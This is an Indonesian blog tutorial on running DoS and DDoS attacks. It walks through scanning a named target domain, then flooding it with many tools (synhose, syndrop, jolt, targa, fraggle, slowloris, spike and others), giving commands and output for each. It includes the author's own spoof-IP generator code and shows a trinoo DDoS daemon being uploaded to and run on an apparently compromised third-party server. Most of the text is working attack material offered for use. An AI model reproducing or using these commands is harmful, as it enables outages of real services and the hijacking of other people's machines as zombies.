Cara DOS & DDOS ala Cracker ( Hacking ) sebenernya saya setengah hati ngeposting tapi karna ada yang maksa akhirnya saya posting juga yah sekedar buat pengetahuan aja sih, hehe,,,,dan saya ga bertanggung jawab jika ada orang yang menggunakannya untuk hal2 yang ga baik,,,,,ok kita mulai pertama-tama coba perhatikan perbedaan DDOS dan DOS:
- DDOS dilakukan dari banyak zombie kita yaitu mesin-mesin yang sudah kita owned dan bisa dimanfaatkan untuk serangan
- DOS adalah serangan yang berasal hanya dari 1 mesin saja!!!
Code:
bt ~ # nmap -A sec-r1z.com -PN
Starting Nmap 4.60 ( http://nmap.org ) at 2010-03-22 04:33 GMT
Interesting ports on 86-241-63-74.SECURED-BY-SEC4SERVER.COM (74.63.241.86):
Not shown: 1668 closed ports, 36 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp PureFTPd
|_ Anonymous FTP: FTP: Anonymous login allowed
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
25/tcp open smtp Exim smtpd 4.69
| SMTP: Responded to EHLO command
| b0x.sec-r1z.com Hello example.org [111.94.9.19]
| SIZE 52428800
| PIPELINING
| AUTH PLAIN LOGIN
| STARTTLS
| 250 HELP
| Responded to HELP command
| Commands supported:
|_ AUTH STARTTLS HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP
53/tcp open domain
110/tcp open pop3 Courier pop3d
143/tcp open imap Courier Imapd (released 2008)
443/tcp open http Apache httpd 2.0.63
|_ HTML title: Site doesn't have a title.
465/tcp open ssl/smtp Exim smtpd 4.69
| SSLv2: server still supports SSLv2
|_ the server didn't offer any cyphers
993/tcp open ssl/imap Courier Imapd (released 2008)
| SSLv2: server still supports SSLv2
|_ the server didn't offer any cyphers
995/tcp open ssl/pop3 Courier pop3d
| SSLv2: server still supports SSLv2
|_ the server didn't offer any cyphers
3306/tcp open mysql MySQL 5.0.90-community
| MySQL Server Information: Protocol: 10
| Version: 5.0.90-community
| Thread ID: 9230
| Some Capabilities: Connect with DB, Compress, Transactions, Secure Connection
| Status: Autocommit
|_ Salt: @Te"s?}zn9nA:?l"cM6e
Device type: storage-misc
Running (JUST GUESSING) : BlueArc embedded (91%)
Aggressive OS guesses: BlueArc Titan 2100 NAS device (91%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: b0x.sec-r1z.com
TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 0.09 192.168.153.2
2 280.82 86-241-63-74.SECURED-BY-SEC4SERVER.COM (74.63.241.86)
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 579.436 seconds
bt ~ #
Code:
21
22
25
53
110
143
443
465
993
995
3306
Tips!!!
Agar DDOS lebih efektif sebaiknya serang semua port daemon yang terbuka
dan bagi yg port 80 open serangan difokuskan lebih ke port 80.
Aneka Tool & Teknik Untuk DOS / DDOS
Asiknya ICMP ATTACK
Ok selanjutnya kita bisa juga melakukan pengujian apakah box tersebut bisa
kita serang dengan icmp packets:
Code:
bt ~ # ping sec-r1z.com
PING sec-r1z.com (74.63.241.86) 56(84) bytes of data.
64 bytes from 86-241-63-74.SECURED-BY-SEC4SERVER.COM (74.63.241.86): icm=10 ttl=128 time=273 ms
[2]+ Stopped ping sec-r1z.com
bt ~ #
reply 64 bytes dari 74.63.241.86 yang menandakan kita bisa menambahkan efek serangan icmp ke target kita.
Contoh Teknik dasar untuk melakukan ping flood dari root shell unix atau linux kita, ketikkan ini (misal target host adalah sec-r1z.com):
Code:
ping sec-r1z.com -fs 50000
PING sec-r1z.com (74.63.241.86) 50000(50028) bytes of data.
.......................................................
[3]+ Stopped ping sec-r1z.com -fs 50000
syn attack merupakan salah satu metode penyerangan favorit attacker jaman dulu yang memanfaatkan kelemahan three way handsake.
Salah satu tool yang biasa saya pakai untuk syn attack adalah synhose, Di mana synhose ini akan melakukan spoof random ip untuk mengirimkan paket ke target kita, sehingga seolah olah di target kita menerima banyak serangan dari ip yang berbeda.
SEcara default jika tidak diset di argumen maka synhose akan menyerang port 80, bisa kita liat di sourcenya:
Code:
if(port == 0) port = 80;
Code:
bt ~ # ./synhose sec-r1z.com 80 10
SynHose [A random source IP syn flooder]
Written by knight / Idea by : rza
Destination : sec-r1z.com
Port : 80
NumberOfTimes: 10
SynHosing sec-r1z.com at port 80 from 108.248.253.31 port 2884
SynHosing sec-r1z.com at port 80 from 248.36.16.139 port 4
SynHosing sec-r1z.com at port 80 from 68.48.179.170 port 409
SynHosing sec-r1z.com at port 80 from 5.54.172.218 port 9780
SynHosing sec-r1z.com at port 80 from 156.228.227.167 port 5327
SynHosing sec-r1z.com at port 80 from 108.99.240.141 port 1746
SynHosing sec-r1z.com at port 80 from 242.249.38.240 port 924
SynHosing sec-r1z.com at port 80 from 111.233.60.127 port 4544
SynHosing sec-r1z.com at port 80 from 60.194.164.239 port 4234
SynHosing sec-r1z.com at port 80 from 174.243.162.91 port 8044
bt ~ #
Hanya dari 10 ip tentu kurang sedap bukan?? mari kita serang dari 10000 ip berbeda:
Code:
bt ~ # ./synhose sec-r1z.com 80 10000
)Juno
Juno merupakan syn attack tool yang cukup terkenal, berikut ini adalah contoh cara pakainya (misal target adalah sec-r1z.com di port 80):
Code:
bt ~ # ./juno sec-r1z.com 80
juno.c by Sorcerer of DALnet
death to 74.63.241.86:80
syndrop
Syndrop merupakan tool yang mengabungkan syn attack dan teardrop,berikut ini adalah contoh penggunaan syndrop dengan target host sec-r1z:
Code:
bt ~ # ./syndrop 127.0.0.1 sec-r1z.com -s 31337 -t 80 -n 99999999 -S 20 -E 9999
syndrop by PineKoan
Death on flaxen wings:
From: 127.0.0.1.31337
To: 74.63.241.86. 80
Amt: 99999999
[ b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b00m b0
--------------------------------------------------------------------------
Jolt
Jika dilihat dari source codenya,Jolt merupakan salah satu tool untuk DOS yang akan mengirimkan paket icmp ke target kita, Pada jaman dahulu kala jolt ini banyak digunakan untuk membekukan server - server windows
jenis serangan adalah pengiriman paket icmp
Code:
icmp->type = ICMP_ECHO;
Code:
bt ~ # ./jolt 74.63.241.86 127.0.0.1 99999999
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
Sending to 74.63.241.86
..................dst
Targa merupakan tool dos yang merupakan kombinasi dari tool2 ini:
* bonk by route|daemon9 & klepto
* jolt by Jeff W. Roberson (modified by Mixter for overdrop effect)
* land by m3lt
* nestea by humble & ttol
* newtear by route|daemon9
* syndrop by PineKoan
* teardrop by route|daemon9
* winnuke by _eci
header2 file yang digunakan oleh targa cukup repot juga dan tidak ada di backtrack secara default, jadi saya tambahkan sendiri, berikut ini header file saya di /usr/include/netinet sehingga berhasil mengkompile targa.c:
Code:
bt netinet # ls
ether.h if_ether.h if_tr.h in.h ip.h ip_icmp.h ip_udp.h protocols.h udp.h
icmp6.h if_fddi.h igmp.h in_systm.h ip6.h ip_tcp.h protocol.h tcp.h
bt netinet #
Berikut ini adalah contohnya:
Code:
bt ~ # ./targa 74.63.241.86 74.63.241.88 -t 0 -n 999999
targa 1.0 by Mixter
Leetness on faxen wings:
To: 74.63.241.86 - 74.63.241.88
Repeats: 999999
Type: 0
74.63.241.86 [ $$$$$$$$$$$$$$$@@@@@@@@@@@@@@@-----....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................#####################&&&&&&&&&&&&&&&&&&&&&%%%%%%%%%%%%%%%%%%%%%
opsi -n 999999 merupakan jumlah pengulangan sebanyak 999999
Boink
Merupakan tool yang bisa membuat blue screen of death pada mesin-mesin windows 9x dan nt.
Berikut ini contoh cara penggunaanya:
Code:
bt ~ # ./boink 127.0.0.1 74.63.241.86 80 80 99999999999
(0)74.63.241.86:25->65
(1)74.63.241.86:25->65
(2)74.63.241.86:25->65
(3)74.63.241.86:25->65
(4)74.63.241.86:25->65
(5)74.63.241.86:25->65
(6)74.63.241.86:25->65
(7)74.63.241.86:25->65
(8)74.63.241.86:25->65
(9)74.63.241.86:25->65
(10)74.63.241.86:25->65
(11)74.63.241.86:25->65
(12)74.63.241.86:25->65
(13)74.63.241.86:25->65
(14)74.63.241.86:25->65
(15)74.63.241.86:25->65
(16)74.63.241.86:25->65
(17)74.63.241.86:25->65
(18)74.63.241.86:25->65
(19)74.63.241.86:25->65
(20)74.63.241.86:25->65
(21)74.63.241.86:25->65
(22)74.63.241.86:25->65
(23)74.63.241.86:25->65
(24)74.63.241.86:25->65
(25)74.63.241.86:25->65
dst ...........
Smurf attack merupakan teknik penyerangan dengan mengirimkan paket icmp yang dispoof ke target kita
Bloop
Merupakan salah satu tool dos dengan metode smurf attack.
Bloop akan mengirimkan paket icmp spoof secara acak ke target kita untuk membuat mesin target crash.
Berikut ini adalah contoh penggunaan bloop:
Code:
bt ~ # ./bloop 127.0.0.1 sec-r1z.com 99999999
Bloop v 1.0
Status: Connected....packets sent.
Fraggle
Fraggle merupakan tool untuk tipe smurf dos / ddos yang menggunakan suatu file broadcast yang berisi daftar alamat2 ip spoof.
Sebelum menggunakan fraggle kita memerlukan sebuah file broadcast ip spoof, Untuk itu
saya sudah membuat sendiri tool untuk spoof ip generator namanya dimas.c:
filename:dimas.c , programmer: mywisdom
Code:
/*dimas.c random ip generator (public ip and private ip)
version 1.0
c0d3r: mywisdom
greetz:gunslinger,flyff666,kiddies,xtr0nic,whitehat,Danzel and so on
*/
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void bikin_random_ip()
{
FILE *dom2;
int a,b,c,d,a2,b2,jum;
dom2=fopen("ip.txt","w+");
for(;;)
{
srand ( time(NULL) );
a = rand ()% 255 ;
b = rand ()% 255 ;
c = rand ()% 255 ;
d = rand ()% 255 ;
if ( (a != 10) && (a != 172) && (a != 192))
{
if(dom2!=NULL)
{
if(a2!=a)
{
fprintf(dom2,"%d.%d.%d.%d\n",a,b,c,d);
}
}
}
a2=a;
}
fclose(dom2);
}
int main ()
{
bikin_random_ip();
return 0;
}
Code:
gcc -o dimas dimas.c
./dimas
Code:
bt ~ # ./fraggle sec-r1z.com ip.txt 2000 900 80 0 99
fraggle.c by TFreak
Flooding sec-r1z.com (. = 25 outgoing packets)
................................................................................
Done!
bt ~ #
TCP Attack
Khusus untuk http ddos banyak tool yang bisa kita pakai
misal:
slowloris
slowloris biasanya khusus digunakan untuk menyerang http port
,keunggulan slowloris adalah hanya menggunakan bandwoth yang kecil dari server attacker,
tool ini akan mengirimkan http request dalam ukuran panjang berupa angka random panjang
terlihat dari source codenya:
Code:
if ($cache) {
$rand = "?" . int( rand(99999999999999) );
}
Code:
bt ~ # ./slowloris.pl -dns www.sec-r1z.com -port 80 -timeout 30 -num 500 -cache
CCCCCCCCCCOOCCOOOOO888@8@8888OOOOCCOOO888888888@@@@@@@@@8@8@@@@888OOCooocccc::::
CCCCCCCCCCCCCCCOO888@888888OOOCCCOOOO888888888888@88888@@@@@@@888@8OOCCoococc:::
CCCCCCCCCCCCCCOO88@@888888OOOOOOOOOO8888888O88888888O8O8OOO8888@88@@8OOCOOOCoc::
CCCCooooooCCCO88@@8@88@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888@8888OOOCc::::
CooCoCoooCCCO8@88@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
ooooooCoCCC88@88888@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88@888OCoccc
ooooCCOO8O888888888@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
oCCCCCCO8OOOCCCOO88@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
oCCCCCOOO88OCooCO88@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
oCCCCOO88OOCCCCOO8@@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
CCCOOOO88OOCCOOO8@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
CCCOO88888OOCOO8@@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
OOOOOO88888OOOO8@8@8Ooc:.:...cOO8O88c. . .coOOO888OOOOCoooooccoCOOOOOCOOOO
OOOOO888@8@88888888Oo:. . ...cO888Oc.. :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
COOO888@88888888888Oo:. .O8888C: .oCOo. ...cCCCOOOoooooocccooooooooCCCOO
CCCCOO888888O888888Oo. .o8Oo. .cO88Oo: :. .:..ccoCCCooCooccooccccoooooCCCC
coooCCO8@88OO8O888Oo:::... .. :cO8Oc. . ..... :. .:ccCoooooccoooocccccooooCCC
:ccooooCO888OOOO8OOc..:...::. .co8@8Coc::.. .... ..:cooCooooccccc::::ccooCCooC
.:::coocccoO8OOOOOOC:..::....coCO8@8OOCCOc:... ....:ccoooocccc:::::::::cooooooC
....::::ccccoCCOOOOOCc......:oCO8@8@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
.......::::::::cCCCCCCoocc:cO888@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
.............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
..... ............. .coocoooCCoco:::ccccccc:::ccc::.......... ....:::cc::::coC
. . ... .... .. .:cccoCooc:.. ::cccc:::c:.. ......... ......::::c:cccco
. .. ... .. .. .. ..:...:cooc::cccccc:..... ......... .....:::::ccoocc
. . .. ..::cccc:.::ccoocc:. ........... .. . ..:::.:::::::ccco
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
Defaulting to a 5 second tcp connection timeout.
Multithreading enabled.
Connecting to www.sec-r1z.com:80 every 30 seconds with 500 sockets:
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Building sockets.
Tembak.c
Ini sih tool buat nuke yang udah lama banget buatan anak echo
) dah ada dari jaman baheula ), ok mari kita coba pakai lagi untuk contoh target sec-r1z.com :
Code:
bt ~ # ./tembak
Kirim Paket ke IP orang
Cara Pake : $ tembak hostname.orang port
bt ~ # ./tembak sec-r1z.com 80
Serbuu....!!!! Hancurkaannn sec-r1z.com ke port 80
httpd_flood.pl
Ini dia nih perl skrip khusus untuk mengantung socket httpd
).khusus hanya menyerang http daemon (port 80)Berikut ini adalah contoh cara pakainya, misal target tbd.my, misal kita menggunakan lama serangan infinite (selamanya) dan kita run di background di salah satu mesin yang kita root:
Code:
./httpd_flood.pl tbd.my -1 99999 -1 &
Teknik serangan gabungan ini menggabungkan aneka jenis serangan, Anda bisa coba tool ini: spike
ok mari kita lihat semua tool2 yang digabung menjadi satu teknik serangan mematikan oleh spike:
Code:
bt spike # ls
README bin/ sources/ spike.sh* spike.sh~*
bt spike # ls bin
1234* conseal* jolt* latierra* orgasm* spiffit* teardrop*
beer* dcd3c* kkill* misfrag* pepsi* sping* trash*
boink* fawx* koc* nestea* pimp* stream* udpdata*
bonk* gewse* kox* newtear* pong* syndrop* wingatecrash*
coke* gewse5* land* opentear* smurf* synk*
bt spike #
Mari kita coba run tool ini untuk attack target kita misal: sec-r1z.com
Code:
bt spike # ./spike.sh sec-r1z.com
Main Menu For spike.sh
1] Combo Attacks
2] Pick The Attack
3] Pick The Attack2 (Enter Your Own Info)
4] Class C Attack (Drop A Class C)
5] Never Die (Attacks That Never Die)
6] Clean up (Kill Hung Attacks)
7] Info Menu (Other Info About spike.sh)
8] To Exit Out
Enter The Number Of The Option To Run:
ketikkan 1.
Maka akan muncul pilihan 3 jenis serangan berdasarkan tingkat ganasnya serangan ( kek maen game aja yah hahahaahaha):
Code:
ComboAttack Menu\033[0m
1] Light Attack (12 Attacks)
2] Medium Attack (20 Attacks)
3] Hard Attack (33 Attacks)
4] To Exit Out
Enter The Number Of The Option To Run
#> \c
Code:
ComboAttack Menu\033[0m
1] Light Attack (12 Attacks)
2] Medium Attack (20 Attacks)
3] Hard Attack (33 Attacks)
4] To Exit Out
Enter The Number Of The Option To Run
#> \c
3
Teadroping.....
Completed....
Pimping.....
Completed....
Nesteaing.....
Completed....
Misfraging.....
Completed....
Syndroping.....
Completed....
Koxing.....
Completed....
NewTearing.....
Completed....
Bonking.....
Completed....
Fawxing.....
Completed....
Trashing.....
Completed....
Smurfing....
Completed....
Attacking On Hold For BandWidth
Completed....
Boinking.....
Completed....
Conseal Firewall Attacking.....
Completed....
Jolting.....
Completed....
Modem +++ DoSing
dst...
Pembahasan Khusus Tambahan
Trinoo
Trinoo merupakan tool ddos yang sangat populer sejak dulu menggunakan sistem daemon slave sebagai zombie dan master server sebagai pengontrol attack. Ok trinoo ini pada jaman dulu bisa melakukan pengembangan jaringan zombie otomatis dengan scanning range ip poblik lalu melakukan eskploitasi terhadap bug lama wu ftpd , dll untuk dijadikan zombie.
pertama download dulu trinoo dan ekstrak:
Code:
wget http://packetstormsecurity.org/distributed/trinoo.tgz
tar zxvf trinoo.tgz
Code:
bt trinoo # ls
BENSUQS daemon/ master/ password trinoo.tgz
Mengedit dan menyetting daemon trinoo
Untuk mengkompile daemon trinoo ini membutuhkan lib crypt dalam glibc.
Mari kita kompile Daemon trinoo gunakan perintah ini:
Code:
bt daemon # gcc -o ns ns.c -lcrypt
bt daemon #
Code:
if (strcmp((char *)crypt(pass, "aI"), "aIf3YWfOhw.V.")==0) {
crypt(pass, "aI"), "aIf3YWfOhw.V.")
plain text sebelum di crypt sebenarnya adalah: l44adsl
l44adsl ini adalah password default trinoo
crypt ini adalah one way hash yg tidak bisa didekrip sebenarnya.
di mana sintaks fungsi crypt ini adalah:
char * crypt (const char *key, const char *salt)
di mana daemon trinoo ini default akan bind port 27444/udp dengan default password l44adsl
Misal Anda ingin mengganti default password dan default port untuk daemon trinoo, gunakan tool yang saya buat ini:
Code:
/*Devilzc0de trinoo hash generator
programmer: mywisdom
*/
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char *data;
int hasil;
hasil=crypt(argv[1], "aI");
printf("trinoo hash anda adalah:%s\n",hasil);
}
Code:
bt ~ # gcc -o trinoo_hash trinoo_hash.c -lcrypt
trinoo_hash.c:13:2: warning: no newline at end of file
bt ~ # ./trinoo_hash mywisdom
trinoo hash anda adalah:aI3Kc25mvwsN2
bt ~ #
Code:
if (strcmp((char *)crypt(pass, "aI"), "aIf3YWfOhw.V.")==0) {
Code:
if (strcmp((char *)crypt(pass, "aI"), "aI3Kc25mvwsN2")==0) {
Sedangkan untuk mengganti default port trinoo misal kita mao ubah jadi port: 31337
kita ubah line ini di ns.c:
Code:
sa.sin_port = htons(27444);
Code:
sa.sin_port = htons(31337);
Code:
char *master[] = {
"129.237.122.40",
"207.228.116.19",
"209.74.175.130",
NULL
Selanjutnya kompile ulang daemon trinoo anda:
Code:
gcc -o ns ns.c -lcrypt
Code:
bt daemon # ftp pcorders.com
Connected to pcorders.com.
220 ns3.pcorders.com FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
Name (pcorders.com:root): mywisdom
331 Password required for mywisdom.
Password:
230 User mywisdom logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> put ns
local: ns remote: ns
200 PORT command successful.
553 ns: Permission denied.
ftp> cd /tmp
250 CWD command successful.
ftp> put ns
local: ns remote: ns
200 PORT command successful.
150 Opening BINARY mode data connection for ns.
226 Transfer complete.
10814 bytes sent in 0.00175 secs (6.1e+03 Kbytes/sec)
ftp>
ftp> quit
221-You have transferred 10814 bytes in 1 files.
221-Total traffic for this session was 11363 bytes in 1 transfers.
221-Thank you for using the FTP service on ns3.pcorders.com.
221 Goodbye.
bt daemon # telnet pcorders.com
Trying 204.181.205.145...
Connected to pcorders.com.
Escape character is '^]'.
Red Hat Linux release 6.1 (Cartman)
Kernel 2.2.12-20 on an i686
mlogin: mywisdom
Password:
Last login: Wed May 5 02:10:58 from 105.subnet125-160-218.speedy.telkom.net.id
[admin@ns3 admin]$ ptrace
[t@ns3 admin]# cd /tmp
[t@ns3 /tmp]# ./ns
sh: ./ns: Permission denied
[t@ns3 /tmp]# chmod +x ns
[t@ns3 /tmp]# ./ns
Code:
[t@ns3 /tmp]# netstat -a | grep udp
udp 0 0 *:1161 *:*
udp 0 0 *:1160 *:*
udp 0 0 *:1159 *:*
udp 0 0 *:27444 *:*
udp 224 0 ns3.pcorders.com:1156 192.168.1.1:domain ESTABLISHED
udp 224 0 ns3.pcorders.com:1155 192.168.1.1:domain ESTABLISHED
udp 0 0 *:ntalk *:*
udp 0 0 *:talk *:*
udp 0 0 *:sunrpc *:*
[t@ns3 /tmp]#
Ok selanjutnya kita compile dan run daemon master di mesin yang kita owned yang mao kita jadikan master slave
Untuk mengganti password default master lakukan langkah yang sama tapi line yg diganti adalah file master.c ini:
#define CRYPTKEY "ZsoTN.cq4X31"
ok misal saya install masternya di alamat ip x.x.x.x:
Code:
http://yoyoparty.com/upload/
mywisdom@trin00-king~#make
gcc -o master master.c blowfish.c -lcrypt
blowfish.c: In function 'blowfish_init':
blowfish.c:131: warning: incompatible implicit declaration of built-in function 'strncpy'
blowfish.c: In function 'encrypt_string':
blowfish.c:192: warning: incompatible implicit declaration of built-in function 'strlen'
blowfish.c:194: warning: incompatible implicit declaration of built-in function 'strcpy'
blowfish.c: In function 'decrypt_string':
blowfish.c:232: warning: incompatible implicit declaration of built-in function 'strlen'
blowfish.c:234: warning: incompatible implicit declaration of built-in function 'strcpy'
strip master
mywisdom@trin00-king~#./master
??
Code:
mywisdom@trin00-king~#telnet x.x.x.x 27665
Trying x.x.x.x...
Connected to hostxxxxxxxx.
Escape character is '^]'.
betaalmostdone
trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]
trinoo>
betaalmostdone
untuk memerintahkan master slave melakukan ddos ketikkan perintah : dos alamat_ip_target
Code:
trinoo> dos 74.63.241.86
DoS: Packeting 74.63.241.86.
trinoo>
0 komentar:
Speak up your mind
Tell us what you're thinking... !